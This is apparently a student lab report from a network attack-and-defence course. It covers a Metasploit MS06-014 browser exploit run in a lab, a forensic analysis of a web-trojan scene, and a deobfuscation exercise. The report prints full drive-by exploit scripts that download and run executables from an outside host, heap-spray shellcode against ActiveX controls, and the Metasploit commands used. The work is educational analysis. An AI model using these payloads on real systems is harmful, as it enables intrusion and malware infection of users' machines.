20212904 2021-2022-2 《网络攻防实践》实践十一报告

20212904 2021-2022-2 《网络攻防实践》实践十一报告

1 实践内容

(1)web浏览器渗透攻击
使用攻击机和Windows靶机进行浏览器渗透攻击实验,体验网页木马构造及实施浏览器攻击的实际过程。
①选择使用Metasploit中的MS06-014渗透攻击模块。
②选择PAYLOAD为任意远程Shell连接。
③设置服务器地址和URL参数,运行exploit,构造出恶意网页木马脚本。
④在靶机环境中启动浏览器,验证与服务器的连通性,并访问而已网页木马脚本URL。
⑤在攻击机的Metasploit软件中查看渗透攻击状态,并通过成功渗透攻击后建立起的远程控制会话SESSION,在靶机上远程执行命令。

  • Web浏览端的渗透攻击威胁--网页木马
    • 概念:网页木马就是表面上伪装成普通的网页文件或是将恶意的代码直接插入到正常的网页文件中,当有人访问时,网页木马就会利用对方系统或者浏览器的漏洞自动将配置好的木马的服务端下载到访问者的电脑上来自动执行。
    • 简介:首先明确,网页木马实际上是一个HTML网页,与其它网页不同的是该网页是黑客精心制作的,用户一旦访问了该网页就会中木马。为什么说是黑客精心制作的呢,因为嵌入在这个网页中的脚本恰如其分地利用了IE浏览器的漏洞,让IE在后台自动下载黑客放置在网络上的木马并运行(安装)这个木马,也就是说,这个网页能下载木马到本地并运行(安装)下载到本地电脑上的木马,整个过程都在后台运行,用户一旦打开这个网页,下载过程和运行(安装)过程就自动开始。
      打开一个网页,IE浏览器真的能自动下载程序和运行程序吗,如果IE真的能肆无忌惮地任意下载和运行程序,那天下还不大乱。实际上,为了安全,IE浏览器是禁止自动下载程序特别是运行程序的,但是,IE浏览器存在着一些已知和未知的漏洞,网页木马就是利用这些漏洞获得权限来下载程序和运行程序的。
    • 攻击原理:网页病毒是利用网页来进行破坏的病毒,它存在于网页之中,其实是使用一些SCRIPT语言编写的一些恶意代码利用IE的漏洞来实现病毒植入。当用户登录某些含有网页病毒的网站时,网页病毒便被悄悄激活,这些病毒一旦激活,可以利用系统的一些资源进行破坏。轻则修改用户的注册表,使用户的首页、浏览器标题改变,重则可以关闭系统的很多功能,装上木马,染上病毒,使用户无法正常使用计算机系统,严重者则可以将用户的系统进行格式化。而这种网页病毒容易编写和修改,使用户防不胜防。
    • 以MS06-014安全漏洞的渗透攻击代码阐述网页木马的具体实现机制:Windows操作系统默认安装的MDAC数据库访问组件RDS.DataSpace中CreateObject()方法创建的ActiveX控件无法确保能够进行安全的交互,导致远程代码执行漏洞。该安全漏洞利用VBScript代码,通过RDS.DataSpace对象来创建XMLHTTP对象来下载远程的恶意程序,并利用DataSpace漏洞,由Adodb.Stream对象绕过应有的安全控制将下载文件流写入到文件系统中的指定位置,并同样利用RDS.DataSpace漏洞由创建的 Shell.Application对象绕过安全机制直接激活已保存在文件系统中的恶意代码。

(2)取证分析实践—网页木马攻击场景分析
①先访问start.html,这个文件中给出了new09.htm的地址。
②在进入 htm 后,每解密出一个文件地址,请对其作 32 位 MD5 散列,以散列值为文件名到http://192.168.68.253/scom/hashed/哈希值下去下载对应的文件(注意:文件名中的英文字母为小写,且没有扩展名),即为解密出的地址对应的文件。
③如果解密出的地址给出的是网页或脚本文件,继续解密。
④如果解密出的地址是二进制程序文件,进行静态反汇编或动态调试。
⑤重复以上过程直到这些文件被全部分析完成。

(3)攻防对抗实践—web浏览器渗透攻击攻防
①攻击方使用Metasploit构造出至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理之后组装成一个URL,通过具有欺骗性的电子邮件发送给防守方。
②防守方对电子邮件中的挂马链接进行提取、解混淆分析、尝试恢复出渗透代码的原始形态,并分析这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。

2 实践过程

2.1 web浏览器渗透攻击

  • 任务:使用攻击机和Windows靶机进行浏览器渗透攻击实验,体验网页木马构造及实施浏览器攻击的实际过程。
  • 实验环境:
攻击机 Kali IP:192.168.11.47
靶机 Windows2kServer IP:192.168.11.61

①选择使用Metasploit中的MS06-014渗透攻击模块。

  • 在kali输入命令msfconsole,打开metasploit,进入其控制界面。
  • 使用命令search MS06-014搜索MS06-014漏洞,得到针对这个漏洞的渗透攻击模块。
  • 输入命令use exploit/windows/browser/ie_createobject进入该渗透攻击模块。

②选择PAYLOAD为任意远程Shell连接。

  • 输入命令show payloads查看payloads。
  • 输入命令set payload windows/shell/bind_tcp,选择常用PAYLOAD为windows/shell/bind_tcp。

③设置服务器地址和URL参数,运行exploit,构造出恶意网页木马脚本。

  • 输入命令set Lhost 192.168.11.47设置本地IP为攻击机。
  • 输入exploit开始攻击,恶意服务器建立。

④在靶机环境中启动浏览器,验证与服务器的连通性,并访问而已网页木马脚本URL。

⑤在攻击机的Metasploit软件中查看渗透攻击状态,并通过成功渗透攻击后建立起的远程控制会话SESSION,在靶机上远程执行命令。

  • 回到攻击机上可以看到,一个靶机到攻击机的session被建立。

  • 使用命令sessions -7查看我们控制的主机为Windows 2000,版本为5.00.2195。

2.2 取证分析实践—网页木马攻击场景分析

①访问start.html,在这个文件中给出了new09.htm的地址。

  • 用记事本打开start.html,分析发现在该网页嵌入了一个内联框架,指向了一个网页new09.htm,且该内联框架高度宽度为0,不易发现。从这两处可以看出start.html文件在引用new09.htm文件时没有写绝对路径,所以new09.htm文件与start.html文件在同一目录下。

  • 查看new09.htm文件。

②在进入 htm 后,每解密出一个文件地址,请对其作 32 位 MD5 散列,以散列值为文件名。

  • new09.htm 文件中,用iframe引用了一个http://aa.18dd.net/aa/kl.htm文件,又用javascript引用了一个http://js.users.51.la/1299644.js文件。对它们分别作MD5散列:

③如果解密出的地址给出的是网页或脚本文件,请继续解密;如果解密出的地址是二进制程序文件,进行静态反汇编或动态调试;重复以上过程直到这些文件被全部分析完成。

  • 在hashed文件夹下找到这两个文件:7f60672dcd6b5e90b6772545ee219bd3和23180a42a2ff1192150231b44ffdf3d3,用记事本打开:

  • 第二个文件中不是我们想要的内容,第一个文件中的内容使用XXTEABase64加密方法,到加密密钥就在倒数第三行中:t=utf8to16(xxtea_decrypt(base64decode(t), '\x73\x63\x72\x69\x70\x74'));将\x73\x63\x72\x69\x70\x74使用十六进制转字符串的操作,即可得到密钥script:
  • 使用https://cycy.sourceforge.io/xxtea/进行XXTEABase64解密:在密钥一栏中填入“script”,在下面大的文本框中粘贴7f60672dcd6b5e90b6772545ee219bd3.txt文件的全部内容,点“解密”,文本框的内容变为:
  • 完整内容如下:

<script> eval("\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x69\x6e\x69\x74\x28\x29\x7b\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x29\x3b\x7d\x0d\x0a\x77\x69\x6e\x64\x6f\x77\x2e\x6f\x6e\x6c\x6f\x61\x64\x20\x3d\x20\x69\x6e\x69\x74\x3b\x0d\x0a\x69\x66\x28\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\x2e\x69\x6e\x64\x65\x78\x4f\x66\x28\x27\x4f\x4b\x27\x29\x3d\x3d\x2d\x31\x29\x7b\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x65\x3b\x0d\x0a\x76\x61\x72\x20\x61\x64\x6f\x3d\x28\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74\x28\x22\x6f\x62\x6a\x65\x63\x74\x22\x29\x29\x3b\x0d\x0a\x61\x64\x6f\x2e\x73\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65\x28\x22\x63\x6c\x61\x73\x73\x69\x64\x22\x2c\x22\x63\x6c\x73\x69\x64\x3a\x42\x44\x39\x36\x43\x35\x35\x36\x2d\x36\x35\x41\x33\x2d\x31\x31\x44\x30\x2d\x39\x38\x33\x41\x2d\x30\x30\x43\x30\x34\x46\x43\x32\x39\x45\x33\x36\x22\x29\x3b\x0d\x0a\x76\x61\x72\x20\x61\x73\x3d\x61\x64\x6f\x2e\x63\x72\x65\x61\x74\x65\x6f\x62\x6a\x65\x63\x74\x28\x22\x41\x64\x6f\x64\x62\x2e\x53\x74\x72\x65\x61\x6d\x22\x2c\x22\x22\x29\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x65\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x0d\x0a\x76\x61\x72\x20\x65\x78\x70\x69\x72\x65\x73\x3d\x6e\x65\x77\x20\x44\x61\x74\x65\x28\x29\x3b\x0d\x0a\x65\x78\x70\x69\x72\x65\x73\x2e\x73\x65\x74\x54\x69\x6d\x65\x28\x65\x78\x70\x69\x72\x65\x73\x2e\x67\x65\x74\x54\x69\x6d\x65\x28\x29\x2b\x32\x34\x2a\x36\x30\x2a\x36\x30\x2a\x31\x30\x30\x30\x29\x3b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\x3d\x27\x63\x65\x3d\x77\x69\x6e\x64\x6f\x77\x73\x78\x70\x3b\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d\x27\x2b\x65\x78\x70\x69\x72\x65\x73\x2e\x74\x6f\x47\x4d\x54\x53\x74\x72\x69\x6e\x67\x28\x29\x3b\x0d\x0a\x69\x66\x28\x65\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x31\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x0d\x0a\x65\x6c\x73\x65\x7b\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x66\x3b\x76\x61\x72\x20\x73\x74\x6f\x72\x6d\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x4d\x50\x53\x2e\x53\x74\x6f\x72\x6d\x50\x6c\x61\x79\x65\x72\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x66\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x66\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x62\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x7d\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x67\x3b\x76\x61\x72\x20\x70\x70\x73\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x50\x4f\x57\x45\x52\x50\x4c\x41\x59\x45\x52\x2e\x50\x6f\x77\x65\x72\x50\x6c\x61\x79\x65\x72\x43\x74\x72\x6c\x2e\x31\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x67\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x67\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x70\x70\x73\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x7d\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x68\x3b\x76\x61\x72\x20\x6f\x62\x6a\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x42\x61\x69\x64\x75\x42\x61\x72\x2e\x54\x6f\x6f\x6c\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x68\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x68\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x6f\x62\x6a\x2e\x44\x6c\x6f\x61\x64\x44\x53\x28\x22\x68\x74\x74\x70\x3a\x2f\x2f\x64\x6f\x77\x6e\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x2f\x62\x62\x2f\x62\x64\x2e\x63\x61\x62\x22\x2c\x20\x22\x62\x64\x2e\x65\x78\x65\x22\x2c\x20\x30\x29\x7d\x7d\x0d\x0a\x7d\x7d\x7d") </script>

  • 然后对引号内的十六进制数进行转字符串的操作,便可以得到以下内容:

  • 完整内容如下:
    function init(){document.write();} window.onload = init; if(document.cookie.indexOf('OK')==-1){ try{var e; var ado=(document.createElement("object")); ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"); var as=ado.createobject("Adodb.Stream","")} catch(e){}; finally{ var expires=new Date(); expires.setTime(expires.getTime()24*60*60*1000); document.cookie='ce=windowsxp;path=/;expires='expires.toGMTString(); if(e!="[object Error]"){ document.write("<script src=http:\/\/aa.18dd.net\/aa\/1.js><\/script>")} else{ try{var f;var storm=new ActiveXObject("MPS.StormPlayer");} catch(f){}; finally{if(f!="[object Error]"){ document.write("<script src=http:\/\/aa.18dd.net\/aa\/b.js><\/script>")}} try{var g;var pps=new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");} catch(g){}; finally{if(g!="[object Error]"){ document.write("<script src=http:\/\/aa.18dd.net\/aa\/pps.js><\/script>")}} try{var h;var obj=new ActiveXObject("BaiduBar.Tool");} catch(h){}; finally{if(h!="[object Error]"){ obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0)}} }}}

  • 分析可知,该文件利用到的应用程序漏洞有:“Adodb.Stream”、“MPS.StormPlayer”、POWERPLAYER.PowerPlayerCtrl.1”和“BaiduBar.Tool”,分别是利用了微软数据库访问对象、暴风影音、PPStream 和百度搜霸的漏洞,这些都是现在网络用户使用非常频繁的软件。另外,该文件还引用三个 js 文件和一个压缩包(bd.cab,解开后是 bd.exe)。

  • 分别计算“http://aa.18dd.net/aa/1.js”、“http://aa.18dd.net/aa/b.js”、“http://aa.18dd.net/aa/pps.js”和“http://down.18dd.net/bb/bd.cab” 的md5值:




  • 打开文件http://aa.18dd.net/aa/1.js(5d7e9058a857aa2abee820d5473c5fa4)

  • 对引号内十六进制数进行转字符串的操作,便可以得到以下内容,该代码下载了一个http://down.18dd.net/bb/014.exe可执行文件。

var url="http://down.18dd.net/bb/014.exe"; try{var xml=ado.CreateObject("Microsoft.XMLHTTP",""); xml.Open ("GET",url,0);xml.Send(); as.type=1;as.open();as.write(xml.responseBody);path="..\\ntuser.com";as.savetofile(path,2);as.close (); var shell=ado.createobject("Shell.Application",""); shell.ShellExecute("cmd.exe","/c "path,"","open",0)}catch(e){}

  • 打开文件http://aa.18dd.net/aa/b.js(3870c28cc279d457746b3796a262f166)

  • 这里使用了packed加密方法,可以在UnPacker (matthewfl.com)上进行解密,解密结果如下,我们可以看到关键字shellcode,shellcode是一个下载器,因此需要寻找其中的URL,最后找到的结果为http://down.18dd.net/bb/bf.exe得到一个可执行文件。

var bigblock=unescape("%u9090%u9090"); var headersize=20; var shellcode=unescape("%uf3e9%u0000""%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c""%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378""%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b""%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%ufcef""%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1""%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103""%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904""%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b""%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e""%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d""%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320""%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344""%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc""%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0""%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab""%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f""%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574""%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e""%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00""%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c""%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54""%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000"); var slackspace=headersizeshellcode.length; while(bigblock.length<slackspace)bigblock=bigblock; fillblock=bigblock.substring(0,slackspace); block=bigblock.substring(0,bigblock.length-slackspace); while(block.lengthslackspace<0x40000)block=blockblockfillblock; memory=new Array(); for(x=0;x<300;x) memory[x]=blockshellcode; var buffer=''; while(buffer.length<4068)buffer="\x0a\x0a\x0a\x0a"; storm.rawParse(buffer)

  • 打开文件http://aa.18dd.net/aa/pps.js(5f0b8bf0385314dbe0e5ec95e6abedc2 )

  • 该文件采用了八进制加密方式,解密结果如下,可以得到可执行文件http://down.18dd.net/bb/pps.exe:

/*%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" "%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" "%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" "%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" "%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" "%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" "%u206a%uff53%uec57%u*/ pps=(document.createElement("object")); pps.setAttribute("classid","clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458") var shellcode = unescape("%uf3e9%u0000" "%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" "%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" "%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" "%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" "%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" "%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" "%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" "%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" "%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" "%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" "%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" "%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" "%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" "%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" "%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" "%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" "%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" "%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" "%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" "%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" "%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" "%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u62 2f%u2f62%u7070%u2e73%u7865%u0065"); var bigblock = unescape("%u9090%u9090"); var headersize = 20; var slackspace = headersizeshellcode.length; while (bigblock.length<slackspace) bigblock=bigblock; fillblock = bigblock.substring(0, slackspace); block = bigblock.substring(0, bigblock.length-slackspace); while(block.lengthslackspace<0x40000) block = blockblockfillblock; memory = new Array(); for (x=0; x<400; x) memory[x] = block shellcode; var buffer = ''; while (buffer.length < 500) buffer="\x0a\x0a\x0a\x0a"; pps.Logo = buffer

  • 打开文件http://down.18dd.net/bb/bd.cab(1c1d7b3539a617517c49eee4120783b2 )这是一个压缩文件,解压缩得到bd.exe文件。

  • 至此已经得到4个压缩文件:http://down.18dd.net/bb/014.exe、http://down.18dd.net/bb/bf.exe、http://down.18dd.net/bb/pps.exe、bd.exe, 它们的大小都是37KB。

  • 对它们分别计算MD5值:



  • 使用命令“certutil -hashfile 文件名 MD5”对这四个文件分别进一步计算MD5值,发现MD5值均为1290ecd734d68d52318ea9016dc6fe63,由此可见这四个文件的内容一样。

  • 打开WinXP虚拟机,使用超级巡警工具查看bf.exe的加壳情况:

  • 用W32Dasm软件反汇编df.exe文件,并查看串式参考内容清单:

  • 下面对该清单进行分析:

    • 从以下内容可以得到该程序生成“Alletdel.bat”文件,该文件的能够不断执行“try”标签下一行的命令,如更改系统日期、删除某些文件。
    • 从以下内容等可以得到该程序可能在磁盘根目录生成自动运行文件。
    • 从以下内容可以得到该程序要对IE、注册表、服务和系统文件进行破坏。
    • 从以下内容可以得到这个程序有一定的防系统保护软件的能力。
    • 可以看到该程序里有20个"http://down.18dd.net/kl/**.exe",表明该程序会下载一些木马。

2.3 攻防对抗实践—web浏览器渗透攻击攻防

  • 实验环境:
攻击机 Kali IP:192.168.31.150
靶机 Windows2kServer IP:192.168.31.219

①攻击方使用Metasploit构造出至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理之后组装成一个URL,通过具有欺骗性的电子邮件发送给防守方。

②防守方对电子邮件中的挂马链接进行提取、解混淆分析、尝试恢复出渗透代码的原始形态,并分析这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。

  • 防守方收到邮件:
  • 防守方打开邮件中的伪装的URL,查看源文件,发现源代码中使用了大量空格、制表符回车等,目的是对关键指令进行字符串拼接,从而防止被杀毒软件发现。
  • 使用notepad小工具处理上述源代码,将空格(\s)、水平制表符(\t)、回车(\r)删掉,对代码进行调整得到结果如下:

<html><head><title></title> <scriptlanguage="javascript"> functionFJiwqgbJtxTNwCGtvNfwyR(o,n) {varr=null; try{eval("r=o"".C""re""ate""Ob""je""ct(n)")} catch(e){} if(!r) {try{eval("r=o"".Cr""ea""teO""bj""ect(n,'')")} catch(e){}}if(!r) {try{eval("r=o"".Cr""ea""teO""bj""ect(n,'','')")}catch(e){}} if(!r) {try{eval("r=o"".Ge""tOb""je""ct('',n)")}catch(e){}} if(!r) {try{eval("r=o"".Ge""tOb""ject(n,'')")}catch(e){}} if(!r) {try{eval("r=o"".Ge""tOb""ject(n)")}catch(e){}} return(r);} functionTgkSFQMEAokscUdmqlExJVO(a) {vars=FJiwqgbJtxTNwCGtvNfwyR(a,"W""Sc""ri""pt"".S""he""ll"); varo=FJiwqgbJtxTNwCGtvNfwyR(a,"A""DO""D""B.S""tr""eam"); vare=s.Environment("P""ro""ce""ss"); varurl=document.location'/p''ay''lo''ad';varxml=null; varbin=e.Item("T""E""M""P")"\\tppBbJMsCPXw"".e""xe"; vardat;try{xml=newXMLHttpRequest();} catch(e) {try{xml=newActiveXObject("Microsoft.XMLHTTP");}catch(e){xml=newActiveXObject("MSXML2.ServerXMLHTTP");}} if(!xml){return(0);} xml.open("GET",url,false); xml.send(null); dat=xml.responseBody;o.Type=1;o.Mode=3;o.Open();o.Write(dat);o.SaveToFile(bin,2);s.Run(bin,0);}functioncrinLgmxhyO() {var i=0; vart=newArray('{''B''D''9''6''C''5''5''6''-''6''5''A''3''-''1''1''D''0''-''9''8''3''A''-''0''0''C''0''4''F''C''2''9''E''3''6''}','{''B''D''9''6''C''5''5''6''-''6''5''A''3''-''1''1''D''0''-''9''8''3''A''-''0''0''C''0''4''F''C''2''9''E''3''0''}','{''7''F''5''B''7''F''6''3''-''F''0''6''F''-''4''3''3''1''-''8''A''2''6''-''3''3''9''E''0''3''C''0''A''E''3''D''}','{''6''e''3''2''0''7''0''a''-''7''6''6''d''-''4''e''e''6''-''8''7''9''c''-''d''c''1''f''a''9''1''d''2''f''c''3''}','{''6''4''1''4''5''1''2''B''-''B''9''7''8''-''4''5''1''D''-''A''0''D''8''-''F''C''F''D''F''3''3''E''8''3''3''C''}','{''0''6''7''2''3''E''0''9''-''F''4''C''2''-''4''3''c''8''-''8''3''5''8''-''0''9''F''C''D''1''D''B''0''7''6''6''}','{''6''3''9''F''7''2''5''F''-''1''B''2''D''-''4''8''3''1''-''A''9''F''D''-''8''7''4''8''4''7''6''8''2''0''1''0''}','{''B''A''0''1''8''5''9''9''-''1''D''B''3''-''4''4''f''9''-''8''3''B''4''-''4''6''1''4''5''4''C''8''4''B''F''8''}','{''D''0''C''0''7''D''5''6''-''7''C''6''9''-''4''3''F''1''-''B''4''A''0''-''2''5''F''5''A''1''1''F''A''B''1''9''}','{''E''8''C''C''C''D''D''F''-''C''A''2''8''-''4''9''6''b''-''B''0''5''0''-''6''C''0''7''C''9''6''2''4''7''6''B''}','{''A''B''9''B''C''E''D''D''-''E''C''7''E''-''4''7''E''1''-''9''3''2''2''-''D''4''A''2''1''0''6''1''7''1''1''6''}','{''0''0''0''6''F''0''3''3''-''0''0''0''0''-''0''0''0''0''-''C''0''0''0''-''0''0''0''0''0''0''0''0''0''0''4''6''}','{''0''0''0''6''F''0''3''A''-''0''0''0''0''-''0''0''0''0''-''C''0''0''0''-''0''0''0''0''0''0''0''0''0''0''4''6''}',null); while(t[i]) {vara=null; if(t[i].substring(0,1)=='{') {a=document.createElement("object");a.setAttribute("cl""as""sid","cl""s""id"":"t[i].substring(1,t[i].length-1));} else{try{a=newActiveXObject(t[i]);}catch(e){}} if(a) {try{varb=FJiwqgbJtxTNwCGtvNfwyR(a,"W""Sc""ri""pt"".S""he""ll"); if(b) {TgkSFQMEAokscUdmqlExJVO(a);return(0);}} catch(e){}}i;}} </script></head> <bodyonload='crinLgmxhyO()'>VPobGXIaRhZxDYlOkxARv</body></html>

  • 分析该代码,可以发现document.location加载payload,且下一行跟了一个可执行文件tppBbJMsCPXw.exe猜测该文件是通过之前的URL下载靶机上的。
  • 打开靶机任务管理器查看正在运行的进程,可以发现上述可执行文件正在运行:
  • 对于刚才的源代码在var t=newArray数据,去除引号和加号处理,可以得到如下内容,查询这些内容可以知道攻击方利用了MS06-014漏洞。

{BD96C556-65A3-11D0-983A-00C04FC29E36}, {BD96C556-65A3-11D0-983A-00C04FC29E30}, {7F5B7F63-F06F-4331-8A26-339E03C0AE3D}, {6e32070a-766d-4ee6-879c-dc1fa91d2fc3}, {6414512B-B978-451D-A0D8-FCFDF33E833C}, {06723E09-F4C2-43c8-8358-09FCD1DB0766}, {639F725F-1B2D-4831-A9FD-874847682010}, {BA018599-1DB3-44f9-83B4-461454C84BF8}, {D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}, {E8CCCDDF-CA28-496b-B050-6C07C962476B}, {AB9BCEDD-EC7E-47E1-9322-D4A210617116}, {0006F033-0000-0000-C000-000000000046}, {0006F03A-0000-0000-C000-000000000046}

3 学习中遇到的问题及解决

  • 问题1:用windows/meterpreter/reverse_tcp这个负载之后,攻击机发送完html之后没有收到shell打开的反应。

  • 问题1解决方案:更换原来的负载为windows/shell/bind_tcp。

  • 问题2:在查看url源代码时,代码的空格等符号不会批量处理,导致无法直观地观察代码。。

  • 问题2解决方案:询问同学后,用了一些处理代码的小工具处理之后,代码更直观。

4 实践总结

这次试验内容比较多、操作也比较复杂,操作的过程中遇到了很多困难和不懂的地方,经过同学的耐心解答和搜索网上教程,最终才完成了实验。整个实验做下来,对网页木马的攻击原理等有了具体和深刻的认识,对网络攻防这门课又有了全新的认识。

posted @ 2022-05-27 08:36  z小kk  阅读(138)  评论(0编辑  收藏  举报